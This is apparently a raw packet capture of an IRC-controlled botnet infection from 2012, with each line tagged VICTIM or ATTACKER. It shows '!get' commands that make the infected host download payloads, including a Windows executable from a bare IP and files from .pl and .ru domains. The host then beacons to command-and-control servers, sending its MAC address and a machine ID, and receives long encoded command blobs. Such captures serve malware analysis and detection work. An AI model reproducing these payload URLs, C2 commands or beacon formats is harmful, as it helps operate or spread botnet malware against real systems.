VICTIM: NICK ajngyklcUSER d020501 . . :- VICTIM: JOIN &virtu ATTACKER: :u. PRIVMSG ajngyklc :!get http:/soulandmore.com/components/com_ag_google_analytics2/dir/index.php:u. PRIVMSG ajngyklc :!get http:/joposdv.pl:9/pl.txt:u. PRIVMSG ajngyklc :!get http:/HarderToLocate.ru/hiafsf43.txt:u. PRIVMSG ajngyklc :!get http:/141.136.27.220/clubg.exe VICTIM: GET /components/com_ag_google_analytics2/dir/index.php HTTP/1.0User-Agent: DownloadHost: soulandmore.comPragma: no-cache ATTACKER: GET /pl.txt HTTP/1.0User-Agent: DownloadHost: joposdv.pl:9Pragma: no-cache ATTACKER: GET /jiba.asp HTTP/1.0User-Agent: CA 0.0.0.2Host: joposdv.pl:9 ATTACKER: GET /hiafsf43.txt HTTP/1.0User-Agent: DownloadHost: HarderToLocate.ruPragma: no-cache ATTACKER: GET /aack.txt HTTP/1.0User-Agent: CA 0.0.0.2Host: joposdv.pl:9Cookie: ASPSESSIONIDSQBCTCQB=GPBPKDOCIBKILGABNIJPOCHM ATTACKER: GET /ck.txt HTTP/1.0User-Agent: CA 0.0.0.2Host: joposdv.pl:9Cookie: ASPSESSIONIDSQBCTCQB=GPBPKDOCIBKILGABNIJPOCHM ATTACKER: GET /park/check.asp HTTP/1.0User-Agent: CA 0.0.0.2Host: ga.9kusddaily.com:88 ATTACKER: GET /alitr3.txt HTTP/1.0User-Agent: CA 0.0.0.2Host: joposdv.pl:9Cookie: ASPSESSIONIDSQBCTCQB=GPBPKDOCIBKILGABNIJPOCHM ATTACKER: GET /afei.txt HTTP/1.0User-Agent: CA 0.0.0.2Host: joposdv.pl:9Cookie: ASPSESSIONIDSQBCTCQB=GPBPKDOCIBKILGABNIJPOCHM ATTACKER: GET /p6.asp?tid=0&aid=0&Publicer=1tr2&MAC=00-0C-29-6B-EC-4E HTTP/1.0User-Agent: CA 0.0.0.2Host: www.zzxml.com ATTACKER: GET /park/update.asp?AppVersion=20120311 HTTP/1.0User-Agent: CA 0.0.0.2Host: ga.9kusddaily.com:88 ATTACKER: PING :k. ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: PING :k. ATTACKER: PONG :k. VICTIM: JOIN &virtu ATTACKER: GET /g1.php?u=hhhh&v=6&m=9D1EDE83-1126-4887-9618-69DECA1826E9 HTTP/1.1Accept: */*Accept-Language: en-usUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; waoc)Host: www.zkaoo.comCache-Control: no-cache ATTACKER: HTTP/1.1 200 OKDate: Thu, 11 Oct 2012 23:47:52 GMTServer: Apache/2.2.23 (Unix) mod_ssl/2.2.23 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635X-Powered-By: PHP/5.3.17Transfer-Encoding: chunkedContent-Type: text/html3\357\273\277 ATTACKER: 15JBFXDEHYEXJM----- ATTACKER: 1dEUHYBOIQGJEOILGWELFR----- ATTACKER: 24JHGKBNBIIVENGPGCGFCTFJFIFAJDEUIIHI ATTACKER: 46JHGKBNBIIVENGSBUBWCXFUCQBEHJEFAUEUDBHEGFDSDABNHHEXBMAQHKIBASBAAEAVIJ ATTACKER: 3eJHHBEXJDBRGTISJCBWJKDSJKBYGJGTDVCCBVIQIYGBEHFXEBGZBWGGDOBAIO ATTACKER: 29JHGKBNBIIVENGMJJJQAVFKAKETAGGDHQ----- ATTACKER: 1fDUHNHLCSCEGRDPJQAYDJBB----- ATTACKER: 172JHHBEXJDBRHIIHGJCDCQHUHHHTBWAEJPBDBRHBIACMAHEHGKCUIODGAUJRILDWDABSFOGUDMAXFBEZFMCNIAFXHEALARGBDAJVHCAOEPGREPGMEUAPIHFPHQHZDVBCAMDGDAHYHAGLHUHDIXGHDSDXFFHRGRJTALDMJMILGLABHZFAACFAFZARFFEDGNGBHSDRHMFLGBFRFSDUCUHUIDJNJLEBHXDACBGCBQEQIZHAINCMEFBUDLAYBTISBCDEGJGTCUEKBWAMDPILCJCHCNCVFEGJAUHSFEDWBZBJIDFNBCBFBLHMFGCBADHZAQEXIAGVAVDJBJHKJMHLDCCEGEIHCPESCABRIRANEPEQEOAQINDMDV ATTACKER: 4aJGFOFZCFCLHJFRGAIGIADKEUISIZBODMEHITAWIBBPCSDOCAETBDIHJVGTEBIXINHBGWDBGW ATTACKER: 1eJAEJBSHSCLIGFUCTCWFFGJCZJCJS38JHHBEXJDBRGHFNACGWJRFXBRDKAQAXBYGHAWBLCSEDBGJMJVJLDHAI95IXHVCNDEHQIFCFDQEXEBFRBIFHDBBMHGGRCGJSGCIZIUHZFZAXEHGDDZAGIVGXFWJSAPCJFYAACMCPJAAQBZDIGFFIHDHNIPAGHSDVENHOBMGQCGEWIWAFCYADCWAKFRCXGFCACNFCCS-----1fDUHNHLCSCEGRDPJQAYDJBB-----134JHHBEXJDBRHIIHGJCDCQHUHHHTBWAEJPAYCXJSDKCUJSIXAGAZBGABCBEABNJSHYHQGACFHFBCBDFADRFHEJJPCLIGBNIPHFGLEDEOIGEVHIHJEZHWAIJIFDDDEMDVEAGOENEVDUHFAIAPJVHOBVHCDHBVHRDTACBIGOHTBHCTADILHOASBYCRDSHBCRDLEZGIFOJMHXHKCOICAPESGGJQJSAWHHFFJGHPEYFPFGFFAHBTAPBXDCCUGVAGAOBQDKCHBCFGGUCEHODJGYECHTBYAHHMEGGKDJIXGZGGJIBMFAAYBFAN42JGFOFZCFCLHJFRGAIGIADKEUISIZBODMEHITAWIGBNJMEKCYARDMIHGTJCCOBPFU26JAEJBSHSCLIGFUCTAFDFDMFAJFHUHTJBGNHT30JHHBEXJDBRGHFNACGWJRFXBRDKADFPGRAPIHFZGWDYFMFUadIXHVCNDEHQIFCFDQEXEBFRDQDQGRGNGSJBHNBEGQGDHMCLDXHZGSHXBSCACWIZDGATGQBKESEUIGIVFOHWBSESDYISATIEEDIBFGIZEPBIJJAPGADQAJDFDICHHBHQJEFIHUAEGUIAFHIVEPHLILDRERCWHSEKCEHKDR-----15EKJHBCJODFDB-----16JMGRFLFVJBDYHZFDHAHP1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB44IUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHHFOIACEDZCJHUGFFIGEDNFG26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJ1dJNIZGDGDJAHFFWFFBRIN-----15EKJHBCJODFDB-----16JMGRFLFVJBDYHZFDHAHU1cJ ATTACKER: MGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB44IUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHHFOIHFXJNJLCDERCBBTDKJF26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJ1dJNIZGDGDJAHFFWFFBRIN-----15EKJHBCJODFDB-----16JMGRFLFVJBDYHZFDHAHV1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB44IUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHHFOIPAJDPAXBOCADMAOBFBZ26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJ77JNIZGDGDJAHFFWFFBRINHRBUHIHSFAIQJRENFRJBCYIKBMAZIUGMCKANBFBOJGIVADGEDXGLCXDCIMFUANJKJTAZJUEHFVDHHEFEEAGNFKAQFX-----15EKJHBCJODFDB-----16JMGRFLFVJBDYHZFDHBJG1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB44IUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHHFOIPAJCVCGABCVASIXEKJV26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJf3JNIZGDGDJAHFFWFFBRINHPGREMCSIREZJDHXGNCTEQEWFJCNENFWFQICIXIMAWFPGAEIGZDSIMFWJSBPDIFSHZIBFEAZGHGFHAJOGVANGOIEHGJCBWBLBHDTEZI ATTACKER: FFWCQFYHCJPHRDQDNGDEHCLFOBDCTAEENFWHRCLCEEYIWCRDIAOJJAPGBABJTDTIVEZGACJGQJGITFKIXAHCQEUGZGUCOBZGHEDJEDTCADJCFBT-----15EKJHBCJODFDB-----16JMGRFLFVJBDYHZFDHBJH1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB44IUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHHFOIOJOBREUIEGDBBBRIZIP26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJ16JNIZGDGDJAHFFWFFBRIN7-----15EKJHBCJODFDB-----16JMGRFLFVJBDYHZFDHBJI1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB44IUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHFAMDZIVEYHFBKIHBMCWHLGH1a7IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIBIZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGNIZCBBAHGEVICEAABBDEDBBADHVALCQAIIZCBBAHGEVICEAAAEEJMHIICFADDFACSECGJAKAQDTDFALGUBJIXHVCTDWGYAHHPAJJNIZGDGDJAHFFWFFBRINHPGREMCSIREZJDHXGNCTEQEWFJCNENFWFQICIXIMAWFPGAEIGZDSIMFWJSBPDIFSHZIBFEAZGHGFHAJOGVANGOIEHGJCBWBLBHDTEZIFFWCQFYHCJPHRDQDNGDEHCLFOBDCTAEENFWHRCLCEEYIWCRDIAOJJAPGBABJTDTIVEZGACJGQJGITFKIXAHCQEUGZGUCOBZGHEDJEDTCADJCFBT-----15EKJHBCJODFDB-----16JMGRFLFVJBDYHZFDHBJJ1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB44IUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHCFQBLBAHYGHGUHTHCIBIIDR26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB5aIZCBBAHGEVICEAACIDG ATTACKER: OCMIOHSHHHHJNGNIZCBBAHGEVICEAABBDEDBBADHVALCQAIIZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJ1dJNIZGDGDJAHFFWFFBRIN-----15EKJHBCJODFDB-----16JMGRFLFVJBDYHZFDHBJK1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB44IUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHCFQCKIXEEBXGXADBUIWGUHT26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJ77JNIZGDGDJAHFFWFFBRINHRBUHIHSFAIQJRENFRJBCYIKBMAZIUGMCKANBFBOJGIVADGEDXGLCXDCIMFUANJKJTAZJUEHFVDHHEFEEAGNFKAQFX-----15EKJHBCJODFDB-----16JMGRFLFVJBDYHZFDHBJL1cJMGRFLFVJMFWFUJFIEGNFFIVJJ1aITBAFJDPDCIAFPBNJLBVBYBB46IUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHCFQCAJAJDHJFICFADJGJUBSCE26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQAI14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJ1dJNIZGDGDJAHFFWFFBRIN-----15EKJHBCJODFDB-----4cJMGRFLFVJBDYHZFDHBJMJMGRFLFVJMFWFUJFIEGNFFIVJJITBAFJDPDCIAFPBNJLBVBYBB44IUBHCZIIDNCEFWIGDZEUBQADIHCQJKGWFDEOBDITCGHCGCFVJQFJFMJHDZIRHLHFEH26IUBHCZIIDNCEFWIGDZEUBTHDBQASIVCXJJIB24IZCBBAHGEVICEAACIDGOCMIOHSHHHHJNGN22IZCBBAHGEVICEAABBDEDBBADHVALCQA ATTACKER: I14IZCBBAHGEVICEAAAEE22JMHIICFADDFACSECGJAKAQDTDFALGUBJ12IXHVCTDWGYAHHPAJ1dJNIZGDGDJAHFFWFFBRIN-----0 ATTACKER: GET / HTTP/1.1Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: sockslot.comConnection: Keep-Alive ATTACKER: GET /s/sockslot_com/sockslot_com_logo.jpg HTTP/1.1Accept: */*Referer: http:/sockslot.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: i.dotzup.comConnection: Keep-Alive ATTACKER: GET /images/topsite.jpg HTTP/1.1Accept: */*Referer: http:/sockslot.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: i.dotzup.comConnection: Keep-Alive ATTACKER: GET /s/sockslot_com/icon_medical_socks.jpg HTTP/1.1Accept: */*Referer: http:/sockslot.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: i.dotzup.comConnection: Keep-Alive ATTACKER: GET /s/sockslot_com/icon_athletic_socks.jpg HTTP/1.1Accept: */*Referer: http:/sockslot.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: i.dotzup.comConnection: Keep-Alive ATTACKER: GET /s/sockslot_com/icon_foot_socks.jpg HTTP/1.1Accept: */*Referer: http:/sockslot.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: i.dotzup.comConnection: Keep-Alive ATTACKER: GET /images/EFLP_images/top_sites.jpg HTTP/1.1Accept: */*Referer: http:/sockslot.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: i.dotzup.comConnection: Keep-Alive ATTACKER: GET /s/sockslot_com/icon_unique_socks.jpg HTTP/1.1Accept: */*Referer: http:/sockslot.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: i.dotzup.comConnection: Keep-Alive ATTACKER: GET /s/sockslot_com/icon_socks.jpg HTTP/1.1Accept: */*Referer: http:/sockslot.com/Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: i.dotzup.comConnection: Keep-Alive